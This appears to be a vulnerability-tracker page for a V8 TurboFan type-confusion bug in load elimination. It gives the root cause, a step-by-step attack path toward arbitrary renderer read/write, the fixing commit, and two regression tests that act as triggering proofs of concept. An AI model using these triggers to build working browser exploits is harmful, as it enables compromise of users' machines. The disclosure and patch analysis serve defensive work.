Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType confusion in V8
DescriptionType confusion in V8
ComponentV8
Sub-componentCompiler
Bug ClassType Confusion
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: Diff and commit match: KillFields/KillConstField added on CheckMaps migrate flags. 'Arbitrary read/write' and sandbox-escape are inferred escalations; commit states 'type confusion and arbitrary memory corruption'.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker546670199
Fix commitbe842e713c8b (v8/v8) +158/-2
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedZhenpeng (Leo) Lin
Reported2026-08-14 (per vendor advisory)
Fix landed2026-08-20 (public git)
Disclosed2026-08-25
Patch gap5 days — fix public in source before the advisory

Background

`LoadElimination`
A TurboFan compiler pass that caches (reuses) loads of object fields and PropertyArray slots by tracking their known values across a sequence of effects, eliminating redundant memory reads.
`CheckMaps`
A TurboFan node that verifies a receiver’s map; with CheckMapsFlag::kTryMigrateInstance (or kTryMigrateInstanceAndDeopt) it may call JSObject::MigrateToMap at runtime to migrate a deprecated-map instance in place.
Instance migration
JSObject::MigrateToMap mutates a receiver in place: it can reallocate the PropertyArray, restructure in-object fields, and change field representations (e.g. Smi→Double by boxing the value into a mutable HeapNumber).
Tracked fields
LoadElimination’s per-object state of known field values (KillFields) and known constant field values (KillConstField) that later loads may reuse instead of re-reading memory.

Root Cause Analysis

When TurboFan compiles property accesses, a CheckMaps node carrying a migrate flag can, at runtime, invoke JSObject::MigrateToMap and mutate the receiver in place — reallocating its PropertyArray and changing field layouts and representations. LoadElimination::ReduceCheckMaps and ComputeLoopState treated CheckMaps purely as a map guard and only updated the receiver’s tracked maps, never invalidating the receiver’s tracked field values across the migration point.

As a result, a load performed before the CheckMaps (e.g. a Smi-typed in-object field value, or the old PropertyArray pointer) remained cached and could be reused after migration. After migration, that same memory holds a different type or lives in a reallocated backing store — for example a Smi slot has been rewritten to hold a mutable HeapNumber reference. Reusing the stale cached value made the compiler operate on post-migration memory with the pre-migration type/layout, producing a type confusion.

The fix makes both functions call KillFields and KillConstField on the receiver whenever the CheckMaps carries kTryMigrateInstance or kTryMigrateInstanceAndDeopt, before SetMaps.

Key insight
A CheckMaps with a migrate flag is not a pure guard — it is a potential in-place mutation of the receiver’s layout and representations, so any load-elimination state for that object’s fields must be discarded at that point exactly as it would be after an arbitrary side-effecting call.

Attack Path

  1. Shape a migratable object Script creates an object whose map becomes deprecated so that a later access will compile to a CheckMaps with kTryMigrateInstance.
  2. Prime the cache An IC-heavy path loads an in-object Smi field (y) so that LoadElimination records its value/representation as a tracked field before the guard.
  3. Trigger migration The CheckMaps executes, and JSObject::MigrateToMap boxes y from Smi to a mutable HeapNumber and/or reallocates the PropertyArray, changing the receiver’s layout in place.
  4. Reuse stale load TurboFan reuses the pre-migration cached load, reading the post-migration memory as the wrong type (Smi bits interpreted as a heap pointer, or vice versa).
  5. Corrupt memory The type confusion yields an out-of-bounds or fake-object primitive, giving arbitrary read/write in the renderer.

Impact Assessment

This is a type confusion in the V8 optimizing compiler reachable from ordinary JavaScript, so it is exploitable by any web page the renderer loads without further privileges. It grants attacker-controlled arbitrary read/write in the renderer address space, typically the foundation for full renderer compromise and a sandbox-escape chain. Severity is high given remote, script-only reachability.

Changed Functions

FunctionChangeNotes
if
test/mjsunit/regress/regress-546670199-inobject.js
modified
for
test/mjsunit/regress/regress-546670199-inobject.js
modified
if
test/mjsunit/regress/regress-546670199.js
modified
for
test/mjsunit/regress/regress-546670199.js
modified

Files Changed

  • src/compiler/load-elimination.cc
  • test/mjsunit/regress/regress-546670199-inobject.js
  • test/mjsunit/regress/regress-546670199.js

Audit Directions

  • Mutating guards treated as pure
    Audit every optimizer pass that special-cases CheckMaps/map checks for other nodes whose flags permit in-place mutation (migration, deprecation, transition) and confirm each invalidates cached field/element state, not just tracked maps.
  • State kill on migration points
    Search LoadElimination and sibling caches (element/field/store elimination) for effect nodes that can call JSObject::MigrateToMap or reallocate backing stores, and verify KillFields/KillConstField/element invalidation is applied at those points.
  • Representation-change hazards
    Look for reuse of loads whose representation can change under the object (Smi→Double boxing to mutable HeapNumber, in-object→out-of-object relocation) where the compiler assumes a stable type across a potentially mutating node.
From be842e713c8b12019099b2eec994f0d887ecfa2c Mon Sep 17 00:00:00 2001
From: Leszek Swirski <[email protected]>
Date: Thu, 20 Aug 2026 11:53:16 +0200
Subject: [PATCH] [compiler] Invalidate tracked fields on CheckMaps with instance migration

When TurboFan compiles property accesses, CheckMaps nodes with
CheckMapsFlag::kTryMigrateInstance (or kTryMigrateInstanceAndDeopt)
can trigger runtime instance migration (JSObject::MigrateToMap).

Instance migration mutates the receiver object in place, allocating
a new PropertyArray, restructuring in-object fields, and changing
field representations (e.g. Smi to Double via mutable HeapNumbers).

Previously, LoadElimination::ReduceCheckMaps and ComputeLoopState
failed to invalidate tracked fields on the receiver object. This
allowed stale PropertyArray loads or in-object field loads to be
reused across migration points, leading to type confusion and
arbitrary memory corruption.

This CL fixes the issue by invalidating all tracked fields and const
fields on the receiver object when migration flags are present on
CheckMaps and the receiver's map is not already known to be in the
target map set.

TAG=agy
CONV=116cff73-fbd6-4c33-bb74-491dcdc536ff

Fixed: 546670199
Change-Id: Ia520e8fb3da8a224309acd640b3a4bec7fe375cb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8251985
Commit-Queue: Leszek Swirski <[email protected]>
Auto-Submit: Leszek Swirski <[email protected]>
Reviewed-by: Patrick Thier <[email protected]>
Cr-Commit-Position: refs/heads/main@{#109390}
---
diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index 7659f99..ca52f44 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -784,7 +784,8 @@
 }
 
 Reduction LoadElimination::ReduceCheckMaps(Node* node) {
-  ZoneRefSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
+  CheckMapsParameters const& p = CheckMapsParametersOf(node->op());
+  ZoneRefSet<Map> const& maps = p.maps();
   Node* const object = NodeProperties::GetValueInput(node, 0);
   Node* const effect = NodeProperties::GetEffectInput(node);
   AbstractState const* state = node_states_.Get(effect);
@@ -794,6 +795,12 @@
     if (maps.contains(object_maps)) return Replace(effect);
     // TODO(turbofan): Compute the intersection.
   }
+  if (p.flags() & (CheckMapsFlag::kTryMigrateInstance |
+                   CheckMapsFlag::kTryMigrateInstanceAndDeopt)) {
+    state = state->KillFields(object, MaybeHandle<Name>(), zone());
+    state = state->KillConstField(
+        object, IndexRange(0, kMaxTrackedFieldsPerObject), zone());
+  }
   state = state->SetMaps(object, maps, zone());
   return UpdateState(node, state);
 }
@@ -1452,7 +1459,17 @@
             state = state->KillElement(object, index, zone());
             break;
           }
-          case IrOpcode::kCheckMaps:
+          case IrOpcode::kCheckMaps: {
+            CheckMapsParameters const& p = CheckMapsParametersOf(current->op());
+            if (p.flags() & (CheckMapsFlag::kTryMigrateInstance |
+                             CheckMapsFlag::kTryMigrateInstanceAndDeopt)) {
+              Node* const object = NodeProperties::GetValueInput(current, 0);
+              state = state->KillFields(object, MaybeHandle<Name>(), zone());
+              state = state->KillConstField(
+                  object, IndexRange(0, kMaxTrackedFieldsPerObject), zone());
+            }
+            break;
+          }
           case IrOpcode::kStoreTypedElement: {
             // Doesn't affect anything we track with the state currently.
             break;
diff --git a/test/mjsunit/regress/regress-546670199-inobject.js b/test/mjsunit/regress/regress-546670199-inobject.js
new file mode 100644
index 0000000..324acfb
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199-inobject.js
@@ -0,0 +1,64 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Only in-object properties 'x' and 'y' (no out-of-object properties).
+function decorate(o, x, y) {
+  o.x = x;
+  o.y = y;
+  return o;
+}
+
+function victim(o, storeY, value) {
+  const y_box = o.y;
+  if (storeY) {
+    o.y = value;
+  }
+  return y_box;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.y as homomorphic in-object load across all maps.
+for (const s of shapes) {
+  victim(s, false, 0);
+}
+
+// 2. Train o.y store on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+//    is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+//    migrate the in-object field 'y' from Smi to Double, allocating a
+//    HeapNumber box at the in-object offset.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
diff --git a/test/mjsunit/regress/regress-546670199.js b/test/mjsunit/regress/regress-546670199.js
new file mode 100644
index 0000000..9528db8
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199.js
@@ -0,0 +1,75 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Fill in-object properties so 'x' and 'y' are placed in out-of-object
+// PropertyArray.
+function decorate(object, x, y) {
+  object.p0 = 0;
+  object.p1 = 1;
+  object.p2 = 2;
+  object.p3 = 3;
+  object.p4 = 4;
+  object.p5 = 5;
+  object.p6 = 6;
+  object.p7 = 7;
+  object.p8 = 8;
+  object.p9 = 9;
+  object.x = x;
+  object.y = y;
+  return object;
+}
+
+function victim(o, storeY, value) {
+  const x = o.x;
+  if (storeY) {
+    o.y = value;
+  }
+  return x;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.x as homomorphic across all maps.
+for (const s of shapes) {
+  victim(s, false, 0);
+}
+
+// 2. Train o.y on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+//    is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+//    migrate the instance to the double-field map and allocate a new
+//    PropertyArray.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/regress-546670199-inobject.js b/test/mjsunit/regress/regress-546670199-inobject.js
new file mode 100644
index 0000000..324acfb
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199-inobject.js
@@ -0,0 +1,64 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Only in-object properties 'x' and 'y' (no out-of-object properties).
+function decorate(o, x, y) {
+  o.x = x;
+  o.y = y;
+  return o;
+}
+
+function victim(o, storeY, value) {
+  const y_box = o.y;
+  if (storeY) {
+    o.y = value;
+  }
+  return y_box;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.y as homomorphic in-object load across all maps.
+for (const s of shapes) {
+  victim(s, false, 0);
+}
+
+// 2. Train o.y store on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+//    is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+//    migrate the in-object field 'y' from Smi to Double, allocating a
+//    HeapNumber box at the in-object offset.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
diff --git a/test/mjsunit/regress/regress-546670199.js b/test/mjsunit/regress/regress-546670199.js
new file mode 100644
index 0000000..9528db8
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199.js
@@ -0,0 +1,75 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Fill in-object properties so 'x' and 'y' are placed in out-of-object
+// PropertyArray.
+function decorate(object, x, y) {
+  object.p0 = 0;
+  object.p1 = 1;
+  object.p2 = 2;
+  object.p3 = 3;
+  object.p4 = 4;
+  object.p5 = 5;
+  object.p6 = 6;
+  object.p7 = 7;
+  object.p8 = 8;
+  object.p9 = 9;
+  object.x = x;
+  object.y = y;
+  return object;
+}
+
+function victim(o, storeY, value) {
+  const x = o.x;
+  if (storeY) {
+    o.y = value;
+  }
+  return x;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.x as homomorphic across all maps.
+for (const s of shapes) {
+  victim(s, false, 0);
+}
+
+// 2. Train o.y on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+//    is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+//    migrate the instance to the double-field map and allocate a new
+//    PropertyArray.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.